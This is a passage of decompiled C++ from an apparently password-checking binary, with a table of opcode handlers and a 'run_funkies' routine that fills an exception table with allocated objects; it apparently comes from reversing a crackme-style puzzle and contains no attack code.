void __noreturn opcode_111();
void __noreturn opcode_25();
void __noreturn opcode_81();
void __noreturn opcode_83();
void __noreturn opcode_120();
void __noreturn opcode_13();
void __noreturn opcode_105();
void __noreturn opcode_95();
void __noreturn opcode_106();
void __noreturn opcode_48();
_QWORD *__fastcall alloc_base(_QWORD *a1);
_QWORD *__fastcall funky_0(_QWORD *a1);
_QWORD *__fastcall funky_1(_QWORD *a1);
_QWORD *__fastcall sub_AD40(_QWORD *a1);
_QWORD *__fastcall sub_AD6A(_QWORD *a1);
_QWORD *__fastcall sub_AD94(_QWORD *a1);
_QWORD *__fastcall sub_ADBE(_QWORD *a1);
_QWORD *__fastcall sub_ADE8(_QWORD *a1);
_QWORD *__fastcall sub_AE12(_QWORD *a1);
_QWORD *__fastcall sub_AE3C(_QWORD *a1);
_QWORD *__fastcall sub_AE66(_QWORD *a1);
_QWORD *__fastcall sub_AE90(_QWORD *a1);
_QWORD *__fastcall sub_AEBA(_QWORD *a1);
_QWORD *__fastcall sub_AEE4(_QWORD *a1);
_QWORD *__fastcall sub_AF0E(_QWORD *a1);
_QWORD *__fastcall sub_AF38(_QWORD *a1);
_QWORD *__fastcall sub_AF62(_QWORD *a1);
_QWORD *__fastcall sub_AF8C(_QWORD *a1);
_QWORD *__fastcall sub_AFB6(_QWORD *a1);
_QWORD *__fastcall sub_AFE0(_QWORD *a1);
_QWORD *__fastcall sub_B00A(_QWORD *a1);
_QWORD *__fastcall sub_B034(_QWORD *a1);
_QWORD *__fastcall sub_B05E(_QWORD *a1);
_QWORD *__fastcall sub_B088(_QWORD *a1);
_QWORD *__fastcall sub_B0B2(_QWORD *a1);
_QWORD *__fastcall sub_B0DC(_QWORD *a1);
_QWORD *__fastcall sub_B106(_QWORD *a1);
_QWORD *__fastcall sub_B130(_QWORD *a1);
_QWORD *__fastcall sub_B15A(_QWORD *a1);
_QWORD *__fastcall sub_B184(_QWORD *a1);
_QWORD *__fastcall sub_B1AE(_QWORD *a1);
_QWORD *__fastcall sub_B1D8(_QWORD *a1);
_QWORD *__fastcall sub_B202(_QWORD *a1);
_QWORD *__fastcall sub_B22C(_QWORD *a1);
_QWORD *__fastcall sub_B256(_QWORD *a1);
_QWORD *__fastcall sub_B280(_QWORD *a1);
_QWORD *__fastcall sub_B2AA(_QWORD *a1);
_QWORD *__fastcall sub_B2D4(_QWORD *a1);
_QWORD *__fastcall sub_B2FE(_QWORD *a1);
_QWORD *__fastcall sub_B328(_QWORD *a1);
_QWORD *__fastcall sub_B352(_QWORD *a1);
_QWORD *__fastcall sub_B37C(_QWORD *a1);
_QWORD *__fastcall sub_B3A6(_QWORD *a1);
_QWORD *__fastcall sub_B3D0(_QWORD *a1);
_QWORD *__fastcall sub_B3FA(_QWORD *a1);
_QWORD *__fastcall sub_B424(_QWORD *a1);
_QWORD *__fastcall sub_B44E(_QWORD *a1);
_QWORD *__fastcall sub_B478(_QWORD *a1);
_QWORD *__fastcall sub_B4A2(_QWORD *a1);
_QWORD *__fastcall sub_B4CC(_QWORD *a1);
_QWORD *__fastcall sub_B4F6(_QWORD *a1);
_QWORD *__fastcall sub_B520(_QWORD *a1);
_QWORD *__fastcall sub_B54A(_QWORD *a1);
_QWORD *__fastcall sub_B574(_QWORD *a1);
_QWORD *__fastcall sub_B59E(_QWORD *a1);
_QWORD *__fastcall sub_B5C8(_QWORD *a1);
_QWORD *__fastcall sub_B5F2(_QWORD *a1);
_QWORD *__fastcall sub_B61C(_QWORD *a1);
_QWORD *__fastcall sub_B646(_QWORD *a1);
_QWORD *__fastcall sub_B670(_QWORD *a1);
_QWORD *__fastcall sub_B69A(_QWORD *a1);
_QWORD *__fastcall sub_B6C4(_QWORD *a1);
_QWORD *__fastcall sub_B6EE(_QWORD *a1);
_QWORD *__fastcall sub_B718(_QWORD *a1);
_QWORD *__fastcall sub_B742(_QWORD *a1);
_QWORD *__fastcall sub_B76C(_QWORD *a1);
_QWORD *__fastcall sub_B796(_QWORD *a1);
_QWORD *__fastcall sub_B7C0(_QWORD *a1);
_QWORD *__fastcall sub_B7EA(_QWORD *a1);
_QWORD *__fastcall sub_B814(_QWORD *a1);
_QWORD *__fastcall sub_B83E(_QWORD *a1);
_QWORD *__fastcall sub_B868(_QWORD *a1);
_QWORD *__fastcall sub_B892(_QWORD *a1);
_QWORD *__fastcall sub_B8BC(_QWORD *a1);
_QWORD *__fastcall sub_B8E6(_QWORD *a1);
_QWORD *__fastcall sub_B910(_QWORD *a1);
_QWORD *__fastcall sub_B93A(_QWORD *a1);
_QWORD *__fastcall sub_B964(_QWORD *a1);
_QWORD *__fastcall sub_B98E(_QWORD *a1);
_QWORD *__fastcall sub_B9B8(_QWORD *a1);
_QWORD *__fastcall sub_B9E2(_QWORD *a1);
_QWORD *__fastcall sub_BA0C(_QWORD *a1);
_QWORD *__fastcall sub_BA36(_QWORD *a1);
_QWORD *__fastcall sub_BA60(_QWORD *a1);
_QWORD *__fastcall sub_BA8A(_QWORD *a1);
_QWORD *__fastcall sub_BAB4(_QWORD *a1);
_QWORD *__fastcall sub_BADE(_QWORD *a1);
_QWORD *__fastcall sub_BB08(_QWORD *a1);
_QWORD *__fastcall sub_BB32(_QWORD *a1);
_QWORD *__fastcall sub_BB5C(_QWORD *a1);
_QWORD *__fastcall sub_BB86(_QWORD *a1);
_QWORD *__fastcall sub_BBB0(_QWORD *a1);
_QWORD *__fastcall sub_BBDA(_QWORD *a1);
_QWORD *__fastcall sub_BC04(_QWORD *a1);
_QWORD *__fastcall sub_BC2E(_QWORD *a1);
_QWORD *__fastcall sub_BC58(_QWORD *a1);
_QWORD *__fastcall sub_BC82(_QWORD *a1);
_QWORD *__fastcall sub_BCAC(_QWORD *a1);
_QWORD *__fastcall sub_BCD6(_QWORD *a1);
_QWORD *__fastcall sub_BD00(_QWORD *a1);
_QWORD *__fastcall sub_BD2A(_QWORD *a1);
_QWORD *__fastcall sub_BD54(_QWORD *a1);
_QWORD *__fastcall sub_BD7E(_QWORD *a1);
_QWORD *__fastcall sub_BDA8(_QWORD *a1);
_QWORD *__fastcall sub_BDD2(_QWORD *a1);
_QWORD *__fastcall sub_BDFC(_QWORD *a1);
_QWORD *__fastcall sub_BE26(_QWORD *a1);
_QWORD *__fastcall sub_BE50(_QWORD *a1);
_QWORD *__fastcall sub_BE7A(_QWORD *a1);
_QWORD *__fastcall sub_BEA4(_QWORD *a1);
_QWORD *__fastcall sub_BECE(_QWORD *a1);
_QWORD *__fastcall sub_BEF8(_QWORD *a1);
_QWORD *__fastcall sub_BF22(_QWORD *a1);
_QWORD *__fastcall sub_BF4C(_QWORD *a1);
_QWORD *__fastcall sub_BF76(_QWORD *a1);
_QWORD *__fastcall sub_BFA0(_QWORD *a1);
_QWORD *__fastcall sub_BFCA(_QWORD *a1);
_QWORD *__fastcall sub_BFF4(_QWORD *a1);
_QWORD *__fastcall sub_C01E(_QWORD *a1);
_QWORD *__fastcall sub_C048(_QWORD *a1);
_QWORD *__fastcall sub_C072(_QWORD *a1);
_QWORD *__fastcall sub_C09C(_QWORD *a1);
_QWORD *__fastcall sub_C0C6(_QWORD *a1);
_QWORD *__fastcall sub_C0F0(_QWORD *a1);
void __fastcall init(unsigned int a1, __int64 a2, __int64 a3);
void term_proc();
// __int64 __fastcall _cxa_throw(_QWORD, _QWORD, _QWORD); weak
// _QWORD __cdecl std::exception::~exception(std::exception *__hidden this); idb
// _QWORD __cdecl std::ios_base::Init::~Init(std::ios_base::Init *__hidden this); idb
// __int64 ITM_deregisterTMCloneTable(void); weak
// __int64 _gmon_start__(void); weak
//-------------------------------------------------------------------------
// Data declarations
int dword_0 = 1179403647; // weak
__int64 (__fastcall *off_210548[3])() = { &sub_4820, &sub_57E3, &sub_47E0 }; // weak
__int64 (__fastcall *off_210558)() = &sub_47E0; // weak
void (__fastcall __noreturn *off_210570)() = &opcode_48; // weak
void (__fastcall __noreturn *off_210588)() = &opcode_106; // weak
void (__fastcall __noreturn *off_2105A0)() = &opcode_95; // weak
void (__fastcall __noreturn *off_2105B8)() = &opcode_105; // weak
void (__fastcall __noreturn *off_2105D0)() = &opcode_13; // weak
void (__fastcall __noreturn *off_2105E8)() = &opcode_120; // weak
void (__fastcall __noreturn *off_210600)() = &opcode_83; // weak
void (__fastcall __noreturn *off_210618)() = &opcode_81; // weak
void (__fastcall __noreturn *off_210630)() = &opcode_25; // weak
void (__fastcall __noreturn *off_210648)() = &opcode_111; // weak
void (__fastcall __noreturn *off_210660)() = &opcode_94; // weak
void (__fastcall __noreturn *off_210678)() = &opcode_75; // weak
void (__fastcall __noreturn *off_210690)() = &opcode_121; // weak
void (__fastcall __noreturn *off_2106A8)() = &opcode_46; // weak
void (__fastcall __noreturn *off_2106C0)() = &opcode_7; // weak
void (__fastcall __noreturn *off_2106D8)() = &opcode_21; // weak
void (__fastcall __noreturn *off_2106F0)() = &opcode_62; // weak
void (__fastcall __noreturn *off_210708)() = &opcode_74; // weak
void (__fastcall __noreturn *off_210720)() = &opcode_1; // weak
void (__fastcall __noreturn *off_210738)() = &opcode_58; // weak
void (__fastcall __noreturn *off_210750)() = &opcode_92; // weak
void (__fastcall __noreturn *off_210768)() = &opcode_100; // weak
void (__fastcall __noreturn *off_210780)() = &opcode_86; // weak
void (__fastcall __noreturn *off_210798)() = &opcode_31; // weak
void (__fastcall __noreturn *off_2107B0)() = &opcode_29; // weak
void (__fastcall __noreturn *off_2107C8)() = &opcode_110; // weak
void (__fastcall __noreturn *off_2107E0)() = &opcode_32; // weak
void (__fastcall __noreturn *off_2107F8)() = &opcode_96; // weak
void (__fastcall __noreturn *off_210810)() = &opcode_39; // weak
void (__fastcall __noreturn *off_210828)() = &opcode_40; // weak
void (__fastcall __noreturn *off_210840)() = &opcode_61; // weak
void (__fastcall __noreturn *off_210858)() = &opcode_97; // weak
void (__fastcall __noreturn *off_210870)() = &opcode_38; // weak
void (__fastcall __noreturn *off_210888)() = &opcode_12; // weak
void (__fastcall __noreturn *off_2108A0)() = &opcode_102; // weak
void (__fastcall __noreturn *off_2108B8)() = &opcode_79; // weak
void (__fastcall __noreturn *off_2108D0)() = &opcode_60; // weak
void (__fastcall __noreturn *off_2108E8)() = &opcode_72; // weak
void (__fastcall __noreturn *off_210900)() = &opcode_57; // weak
void (__fastcall __noreturn *off_210918)() = &opcode_20; // weak
void (__fastcall __noreturn *off_210930)() = &opcode_47; // weak
void (__fastcall __noreturn *off_210948)() = &opcode_116; // weak
void (__fastcall __noreturn *off_210960)() = &opcode_24; // weak
void (__fastcall __noreturn *off_210978)() = &opcode_85; // weak
void (__fastcall __noreturn *off_210990)() = &opcode_23; // weak
void (__fastcall __noreturn *off_2109A8)() = &opcode_99; // weak
void (__fastcall __noreturn *off_2109C0)() = &opcode_67; // weak
void (__fastcall __noreturn *off_2109D8)() = &opcode_115; // weak
void (__fastcall __noreturn *off_2109F0)() = &opcode_51; // weak
void (__fastcall __noreturn *off_210A08)() = &opcode_82; // weak
void (__fastcall __noreturn *off_210A20)() = &opcode_52; // weak
void (__fastcall __noreturn *off_210A38)() = &opcode_71; // weak
void (__fastcall __noreturn *off_210A50)() = &opcode_91; // weak
void (__fastcall __noreturn *off_210A68)() = &opcode_88; // weak
void (__fastcall __noreturn *off_210A80)() = &opcode_66; // weak
void (__fastcall __noreturn *off_210A98)() = &opcode_4; // weak
void (__fastcall __noreturn *off_210AB0)() = &opcode_69; // weak
void (__fastcall __noreturn *off_210AC8)() = &opcode_37; // weak
void (__fastcall __noreturn *off_210AE0)() = &opcode_41; // weak
void (__fastcall __noreturn *off_210AF8)() = &opcode_89; // weak
void (__fastcall __noreturn *off_210B10)() = &opcode_11; // weak
void (__fastcall __noreturn *off_210B28)() = &opcode_73; // weak
void (__fastcall __noreturn *off_210B40)() = &opcode_68; // weak
void (__fastcall __noreturn *off_210B58)() = &opcode_0; // weak
void (__fastcall __noreturn *off_210B70)() = &opcode_54; // weak
void (__fastcall __noreturn *off_210B88)() = &opcode_9; // weak
void (__fastcall __noreturn *off_210BA0)() = &opcode_44; // weak
void (__fastcall __noreturn *off_210BB8)() = &opcode_56; // weak
void (__fastcall __noreturn *off_210BD0)() = &opcode_64; // weak
void (__fastcall __noreturn *off_210BE8)() = &opcode_15; // weak
void (__fastcall __noreturn *off_210C00)() = &opcode_36; // weak
void (__fastcall __noreturn *off_210C18)() = &opcode_10; // weak
void (__fastcall __noreturn *off_210C30)() = &opcode_16; // weak
void (__fastcall __noreturn *off_210C48)() = &opcode_107; // weak
void (__fastcall __noreturn *off_210C60)() = &opcode_42; // weak
void (__fastcall __noreturn *off_210C78)() = &opcode_2; // weak
void (__fastcall __noreturn *off_210C90)() = &opcode_45; // weak
void (__fastcall __noreturn *off_210CA8)() = &opcode_18; // weak
void (__fastcall __noreturn *off_210CC0)() = &opcode_63; // weak
void (__fastcall __noreturn *off_210CD8)() = &opcode_53; // weak
void (__fastcall __noreturn *off_210CF0)() = &opcode_101; // weak
void (__fastcall __noreturn *off_210D08)() = &opcode_119; // weak
void (__fastcall __noreturn *off_210D20)() = &opcode_98; // weak
void (__fastcall __noreturn *off_210D38)() = &opcode_49; // weak
void (__fastcall __noreturn *off_210D50)() = &opcode_77; // weak
void (__fastcall __noreturn *off_210D68)() = &opcode_59; // weak
void (__fastcall __noreturn *off_210D80)() = &opcode_22; // weak
void (__fastcall __noreturn *off_210D98)() = &opcode_78; // weak
void (__fastcall __noreturn *off_210DB0)() = &opcode_84; // weak
void (__fastcall __noreturn *off_210DC8)() = &opcode_34; // weak
void (__fastcall __noreturn *off_210DE0)() = &opcode_33; // weak
void (__fastcall __noreturn *off_210DF8)() = &opcode_93; // weak
void (__fastcall __noreturn *off_210E10)() = &opcode_112; // weak
void (__fastcall __noreturn *hunky_off_210E28)() = &opcode_70; // weak
void (__fastcall __noreturn *off_210E40)() = &opcode_8; // weak
void (__fastcall __noreturn *off_210E58)() = &opcode_90; // weak
void (__fastcall __noreturn *off_210E70)() = &opcode_26; // weak
void (__fastcall __noreturn *off_210E88)() = &opcode_109; // weak
void (__fastcall __noreturn *off_210EA0)() = &opcode_28; // weak
void (__fastcall __noreturn *off_210EB8)() = &opcode_3; // weak
void (__fastcall __noreturn *off_210ED0)() = &opcode_117; // weak
void (__fastcall __noreturn *off_210EE8)() = &opcode_108; // weak
void (__fastcall __noreturn *off_210F00)() = &opcode_14; // weak
void (__fastcall __noreturn *off_210F18)() = &opcode_55; // weak
void (__fastcall __noreturn *off_210F30)() = &opcode_30; // weak
void (__fastcall __noreturn *off_210F48)() = &opcode_35; // weak
void (__fastcall __noreturn *off_210F60)() = &opcode_123; // weak
void (__fastcall __noreturn *off_210F78)() = &opcode_6; // weak
void (__fastcall __noreturn *off_210F90)() = &opcode_114; // weak
void (__fastcall __noreturn *off_210FA8)() = &opcode_122; // weak
void (__fastcall __noreturn *off_210FC0)() = &opcode_104; // weak
void (__fastcall __noreturn *off_210FD8)() = &opcode_17; // weak
void (__fastcall __noreturn *off_210FF0)() = &opcode_113; // weak
void (__fastcall __noreturn *off_211008)() = &opcode_43; // weak
void (__fastcall __noreturn *off_211020)() = &opcode_80; // weak
void (__fastcall __noreturn *off_211038)() = &opcode_103; // weak
void (__fastcall __noreturn *off_211050)() = &opcode_27; // weak
void (__fastcall __noreturn *off_211068)() = &opcode_50; // weak
void (__fastcall __noreturn *off_211080)() = &opcode_19; // weak
void (__fastcall __noreturn *off_211098)() = &opcode_5; // weak
void (__fastcall __noreturn *off_2110B0)() = &opcode_76; // weak
void (__fastcall __noreturn *off_2110C8)() = &opcode_87; // weak
void (__fastcall __noreturn *off_2110E0)() = &opcode_118; // weak
__int64 (__fastcall *vtable_base_off_2110F8)() = &sub_5812; // weak
_UNKNOWN unk_211120; // weak
void *off_212008 = &off_212008; // weak
int *the_constants = &unk_212020;
_UNKNOWN unk_213170; // weak
char byte_213180; // weak
char pass_16_buf[1];
char some_shitty_16[16];
int xxx_0; // weak
int xxx_1; // weak
int xxx_2; // weak
int xxx_3; // weak
int helper_0; // weak
int helper_1; // weak
__int64 exception_table[123];
char our_password[49]; // idb
_UNKNOWN unk_213631; // weak
// extern _UNKNOWN __cxa_finalize; weak
//----- (0000000000004600) ----------------------------------------------------
__int64 (**init_proc())(void)
{
__int64 (**result)(void); // rax
result = &_gmon_start__;
if ( &_gmon_start__ )
result = (__int64 (**)(void))_gmon_start__();
return result;
}
// 2136F0: using guessed type __int64 _gmon_start__(void);
//----- (0000000000004620) ----------------------------------------------------
void sub_4620()
{
JUMPOUT(&dword_0);
}
// 0: using guessed type int dword_0;
//----- (0000000000004720) ----------------------------------------------------
#error "4726: positive sp value has been found (funcsize=3)"
//----- (0000000000004750) ----------------------------------------------------
__int64 (**sub_4750())(void)
{
__int64 (**result)(void); // rax
result = (__int64 (**)(void))&unk_213170;
if ( &unk_213170 != &unk_213170 )
{
result = &ITM_deregisterTMCloneTable;
if ( &ITM_deregisterTMCloneTable )
result = (__int64 (**)(void))ITM_deregisterTMCloneTable();
}
return result;
}
// 2136E8: using guessed type __int64 ITM_deregisterTMCloneTable(void);
//----- (0000000000004790) ----------------------------------------------------
__int64 sub_4790()
{
return 0LL;
}
//----- (00000000000047E0) ----------------------------------------------------
__int64 (**sub_47E0())(void)
{
__int64 (**result)(void); // rax
if ( !byte_213180 )
{
if ( &__cxa_finalize )
_cxa_finalize(off_212008);
result = sub_4750();
byte_213180 = 1;
}
return result;
}
// 4710: using guessed type __int64 __fastcall _cxa_finalize(_QWORD);
// 212008: using guessed type void *off_212008;
// 213180: using guessed type char byte_213180;
//----- (0000000000004820) ----------------------------------------------------
__int64 sub_4820()
{
return sub_4790();
}
//----- (000000000000482A) ----------------------------------------------------
_QWORD *run_funkies()
{
_QWORD *v0; // rbx
_QWORD *v1; // rbx
_QWORD *v2; // rbx
_QWORD *v3; // rbx
_QWORD *v4; // rbx
_QWORD *v5; // rbx
_QWORD *v6; // rbx
_QWORD *v7; // rbx
_QWORD *v8; // rbx
_QWORD *v9; // rbx
_QWORD *v10; // rbx
_QWORD *v11; // rbx
_QWORD *v12; // rbx
_QWORD *v13; // rbx
_QWORD *v14; // rbx
_QWORD *v15; // rbx
_QWORD *v16; // rbx
_QWORD *v17; // rbx
_QWORD *v18; // rbx
_QWORD *v19; // rbx
_QWORD *v20; // rbx
_QWORD *v21; // rbx
_QWORD *v22; // rbx
_QWORD *v23; // rbx
_QWORD *v24; // rbx
_QWORD *v25; // rbx
_QWORD *v26; // rbx
_QWORD *v27; // rbx
_QWORD *v28; // rbx
_QWORD *v29; // rbx
_QWORD *v30; // rbx
_QWORD *v31; // rbx
_QWORD *v32; // rbx
_QWORD *v33; // rbx
_QWORD *v34; // rbx
_QWORD *v35; // rbx
_QWORD *v36; // rbx
_QWORD *v37; // rbx
_QWORD *v38; // rbx
_QWORD *v39; // rbx
_QWORD *v40; // rbx
_QWORD *v41; // rbx
_QWORD *v42; // rbx
_QWORD *v43; // rbx
_QWORD *v44; // rbx
_QWORD *v45; // rbx
_QWORD *v46; // rbx
_QWORD *v47; // rbx
_QWORD *v48; // rbx
_QWORD *v49; // rbx
_QWORD *v50; // rbx
_QWORD *v51; // rbx
_QWORD *v52; // rbx
_QWORD *v53; // rbx
_QWORD *v54; // rbx
_QWORD *v55; // rbx
_QWORD *v56; // rbx
_QWORD *v57; // rbx
_QWORD *v58; // rbx
_QWORD *v59; // rbx
_QWORD *v60; // rbx
_QWORD *v61; // rbx
_QWORD *v62; // rbx
_QWORD *v63; // rbx
_QWORD *v64; // rbx
_QWORD *v65; // rbx
_QWORD *v66; // rbx
_QWORD *v67; // rbx
_QWORD *v68; // rbx
_QWORD *v69; // rbx
_QWORD *v70; // rbx
_QWORD *v71; // rbx
_QWORD *v72; // rbx
_QWORD *v73; // rbx
_QWORD *v74; // rbx
_QWORD *v75; // rbx
_QWORD *v76; // rbx
_QWORD *v77; // rbx
_QWORD *v78; // rbx
_QWORD *v79; // rbx
_QWORD *v80; // rbx
_QWORD *v81; // rbx
_QWORD *v82; // rbx
_QWORD *v83; // rbx
_QWORD *v84; // rbx
_QWORD *v85; // rbx
_QWORD *v86; // rbx
_QWORD *v87; // rbx
_QWORD *v88; // rbx
_QWORD *v89; // rbx
_QWORD *v90; // rbx
_QWORD *v91; // rbx
_QWORD *v92; // rbx
_QWORD *v93; // rbx
_QWORD *v94; // rbx
_QWORD *v95; // rbx
_QWORD *v96; // rbx
_QWORD *v97; // rbx
_QWORD *v98; // rbx
_QWORD *v99; // rbx
_QWORD *v100; // rbx
_QWORD *v101; // rbx
_QWORD *v102; // rbx
_QWORD *v103; // rbx
_QWORD *v104; // rbx
_QWORD *v105; // rbx
_QWORD *v106; // rbx
_QWORD *v107; // rbx
_QWORD *v108; // rbx
_QWORD *v109; // rbx
_QWORD *v110; // rbx
_QWORD *v111; // rbx
_QWORD *v112; // rbx
_QWORD *v113; // rbx
_QWORD *v114; // rbx
_QWORD *v115; // rbx
_QWORD *v116; // rbx
_QWORD *v117; // rbx
_QWORD *v118; // rbx
_QWORD *v119; // rbx
_QWORD *v120; // rbx
_QWORD *v121; // rbx
_QWORD *v122; // rbx
_QWORD *result; // rax
v0 = (_QWORD *)operator new(8uLL);
funky_0(v0);
exception_table[70] = (__int64)v0;
v1 = (_QWORD *)operator new(8uLL);
funky_1(v1);
exception_table[14] = (__int64)v1;
v2 = (_QWORD *)operator new(8uLL);
sub_AD40(v2);
exception_table[120] = (__int64)v2;
v3 = (_QWORD *)operator new(8uLL);
sub_AD6A(v3);
exception_table[26] = (__int64)v3;
v4 = (_QWORD *)operator new(8uLL);
sub_AD94(v4);
exception_table[56] = (__int64)v4;
v5 = (_QWORD *)operator new(8uLL);
sub_ADBE(v5);
exception_table[18] = (__int64)v5;
v6 = (_QWORD *)operator new(8uLL);
sub_ADE8(v6);
exception_table[103] = (__int64)v6;
v7 = (_QWORD *)operator new(8uLL);
sub_AE12(v7);
exception_table[61] = (__int64)v7;
v8 = (_QWORD *)operator new(8uLL);
sub_AE3C(v8);
exception_table[89] = (__int64)v8;
v9 = (_QWORD *)operator new(8uLL);
sub_AE66(v9);
exception_table[86] = (__int64)v9;
v10 = (_QWORD *)operator new(8uLL);
sub_AE90(v10);
exception_table[60] = (__int64)v10;
v11 = (_QWORD *)operator new(8uLL);
sub_AEBA(v11);
exception_table[16] = (__int64)v11;
v12 = (_QWORD *)operator new(8uLL);
sub_AEE4(v12);
exception_table[79] = (__int64)v12;
v13 = (_QWORD *)operator new(8uLL);
sub_AF0E(v13);
exception_table[72] = (__int64)v13;
v14 = (_QWORD *)operator new(8uLL);
sub_AF38(v14);
exception_table[82] = (__int64)v14;
v15 = (_QWORD *)operator new(8uLL);
sub_AF62(v15);
exception_table[100] = (__int64)v15;
v16 = (_QWORD *)operator new(8uLL);
sub_AF8C(v16);
exception_table[101] = (__int64)v16;
v17 = (_QWORD *)operator new(8uLL);
sub_AFB6(v17);
exception_table[119] = (__int64)v17;
v18 = (_QWORD *)operator new(8uLL);
sub_AFE0(v18);
exception_table[23] = (__int64)v18;
v19 = (_QWORD *)operator new(8uLL);
sub_B00A(v19);
exception_table[68] = (__int64)v19;
v20 = (_QWORD *)operator new(8uLL);
sub_B034(v20);
exception_table[78] = (__int64)v20;
v21 = (_QWORD *)operator new(8uLL);
sub_B05E(v21);
exception_table[76] = (__int64)v21;
v22 = (_QWORD *)operator new(8uLL);
sub_B088(v22);
exception_table[102] = (__int64)v22;
v23 = (_QWORD *)operator new(8uLL);
sub_B0B2(v23);
exception_table[6] = (__int64)v23;
v24 = (_QWORD *)operator new(8uLL);
sub_B0DC(v24);
exception_table[123] = (__int64)v24;
v25 = (_QWORD *)operator new(8uLL);
sub_B106(v25);
exception_table[22] = (__int64)v25;
v26 = (_QWORD *)operator new(8uLL);
sub_B130(v26);
exception_table[8] = (__int64)v26;
v27 = (_QWORD *)operator new(8uLL);
sub_B15A(v27);
exception_table[0] = (__int64)v27;
v28 = (_QWORD *)operator new(8uLL);
sub_B184(v28);
exception_table[3] = (__int64)v28;
v29 = (_QWORD *)operator new(8uLL);
sub_B1AE(v29);
exception_table[10] = (__int64)v29;
v30 = (_QWORD *)operator new(8uLL);
sub_B1D8(v30);
exception_table[63] = (__int64)v30;
v31 = (_QWORD *)operator new(8uLL);
sub_B202(v31);
exception_table[54] = (__int64)v31;
v32 = (_QWORD *)operator new(8uLL);
sub_B22C(v32);
exception_table[85] = (__int64)v32;
v33 = (_QWORD *)operator new(8uLL);
sub_B256(v33);
exception_table[109] = (__int64)v33;
v34 = (_QWORD *)operator new(8uLL);
sub_B280(v34);
exception_table[59] = (__int64)v34;
v35 = (_QWORD *)operator new(8uLL);
sub_B2AA(v35);
exception_table[24] = (__int64)v35;
v36 = (_QWORD *)operator new(8uLL);
sub_B2D4(v36);
exception_table[27] = (__int64)v36;
v37 = (_QWORD *)operator new(8uLL);
sub_B2FE(v37);
exception_table[50] = (__int64)v37;
v38 = (_QWORD *)operator new(8uLL);
sub_B328(v38);
exception_table[49] = (__int64)v38;
v39 = (_QWORD *)operator new(8uLL);
sub_B352(v39);
exception_table[9] = (__int64)v39;
v40 = (_QWORD *)operator new(8uLL);
sub_B37C(v40);
exception_table[51] = (__int64)v40;
v41 = (_QWORD *)operator new(8uLL);
sub_B3A6(v41);
exception_table[83] = (__int64)v41;
v42 = (_QWORD *)operator new(8uLL);
sub_B3D0(v42);
exception_table[90] = (__int64)v42;
v43 = (_QWORD *)operator new(8uLL);
sub_B3FA(v43);
exception_table[88] = (__int64)v43;
v44 = (_QWORD *)operator new(8uLL);
sub_B424(v44);
exception_table[84] = (__int64)v44;
v45 = (_QWORD *)operator new(8uLL);
sub_B44E(v45);
exception_table[94] = (__int64)v45;
v46 = (_QWORD *)operator new(8uLL);
sub_B478(v46);
exception_table[32] = (__int64)v46;
v47 = (_QWORD *)operator new(8uLL);
sub_B4A2(v47);
exception_table[46] = (__int64)v47;
v48 = (_QWORD *)operator new(8uLL);
sub_B4CC(v48);
exception_table[4] = (__int64)v48;
v49 = (_QWORD *)operator new(8uLL);
sub_B4F6(v49);
exception_table[25] = (__int64)v49;
v50 = (_QWORD *)operator new(8uLL);
sub_B520(v50);
exception_table[112] = (__int64)v50;
v51 = (_QWORD *)operator new(8uLL);
sub_B54A(v51);
exception_table[95] = (__int64)v51;
v52 = (_QWORD *)operator new(8uLL);
sub_B574(v52);
exception_table[19] = (__int64)v52;
v53 = (_QWORD *)operator new(8uLL);
sub_B59E(v53);
exception_table[43] = (__int64)v53;
v54 = (_QWORD *)operator new(8uLL);
sub_B5C8(v54);
exception_table[37] = (__int64)v54;
v55 = (_QWORD *)operator new(8uLL);
sub_B5F2(v55);
exception_table[44] = (__int64)v55;
v56 = (_QWORD *)operator new(8uLL);
sub_B61C(v56);
exception_table[114] = (__int64)v56;
v57 = (_QWORD *)operator new(8uLL);
sub_B646(v57);
exception_table[105] = (__int64)v57;
v58 = (_QWORD *)operator new(8uLL);
sub_B670(v58);
exception_table[36] = (__int64)v58;
v59 = (_QWORD *)operator new(8uLL);
sub_B69A(v59);
exception_table[57] = (__int64)v59;
v60 = (_QWORD *)operator new(8uLL);
sub_B6C4(v60);
exception_table[31] = (__int64)v60;
v61 = (_QWORD *)operator new(8uLL);
sub_B6EE(v61);
exception_table[64] = (__int64)v61;
v62 = (_QWORD *)operator new(8uLL);
sub_B718(v62);
exception_table[41] = (__int64)v62;
v63 = (_QWORD *)operator new(8uLL);
sub_B742(v63);
exception_table[1] = (__int64)v63;
v64 = (_QWORD *)operator new(8uLL);
sub_B76C(v64);
exception_table[77] = (__int64)v64;
v65 = (_QWORD *)operator new(8uLL);
sub_B796(v65);
exception_table[7] = (__int64)v65;
v66 = (_QWORD *)operator new(8uLL);
sub_B7C0(v66);
exception_table[73] = (__int64)v66;
v67 = (_QWORD *)operator new(8uLL);
sub_B7EA(v67);
exception_table[97] = (__int64)v67;
v68 = (_QWORD *)operator new(8uLL);
sub_B814(v68);
exception_table[58] = (__int64)v68;
v69 = (_QWORD *)operator new(8uLL);
sub_B83E(v69);
exception_table[75] = (__int64)v69;
v70 = (_QWORD *)operator new(8uLL);
sub_B868(v70);
exception_table[13] = (__int64)v70;
v71 = (_QWORD *)operator new(8uLL);
sub_B892(v71);
exception_table[91] = (__int64)v71;
v72 = (_QWORD *)operator new(8uLL);
sub_B8BC(v72);
exception_table[28] = (__int64)v72;
v73 = (_QWORD *)operator new(8uLL);
sub_B8E6(v73);
exception_table[96] = (__int64)v73;
v74 = (_QWORD *)operator new(8uLL);
sub_B910(v74);
exception_table[21] = (__int64)v74;
v75 = (_QWORD *)operator new(8uLL);
sub_B93A(v75);
exception_table[99] = (__int64)v75;
v76 = (_QWORD *)operator new(8uLL);
sub_B964(v76);
exception_table[80] = (__int64)v76;
v77 = (_QWORD *)operator new(8uLL);
sub_B98E(v77);
exception_table[113] = (__int64)v77;
v78 = (_QWORD *)operator new(8uLL);
sub_B9B8(v78);
exception_table[66] = (__int64)v78;
v79 = (_QWORD *)operator new(8uLL);
sub_B9E2(v79);
exception_table[45] = (__int64)v79;
v80 = (_QWORD *)operator new(8uLL);
sub_BA0C(v80);
exception_table[42] = (__int64)v80;
v81 = (_QWORD *)operator new(8uLL);
sub_BA36(v81);
exception_table[108] = (__int64)v81;
v82 = (_QWORD *)operator new(8uLL);
sub_BA60(v82);
exception_table[71] = (__int64)v82;
v83 = (_QWORD *)operator new(8uLL);
sub_BA8A(v83);
exception_table[52] = (__int64)v83;
v84 = (_QWORD *)operator new(8uLL);
sub_BAB4(v84);
exception_table[93] = (__int64)v84;
v85 = (_QWORD *)operator new(8uLL);
sub_BADE(v85);
exception_table[69] = (__int64)v85;
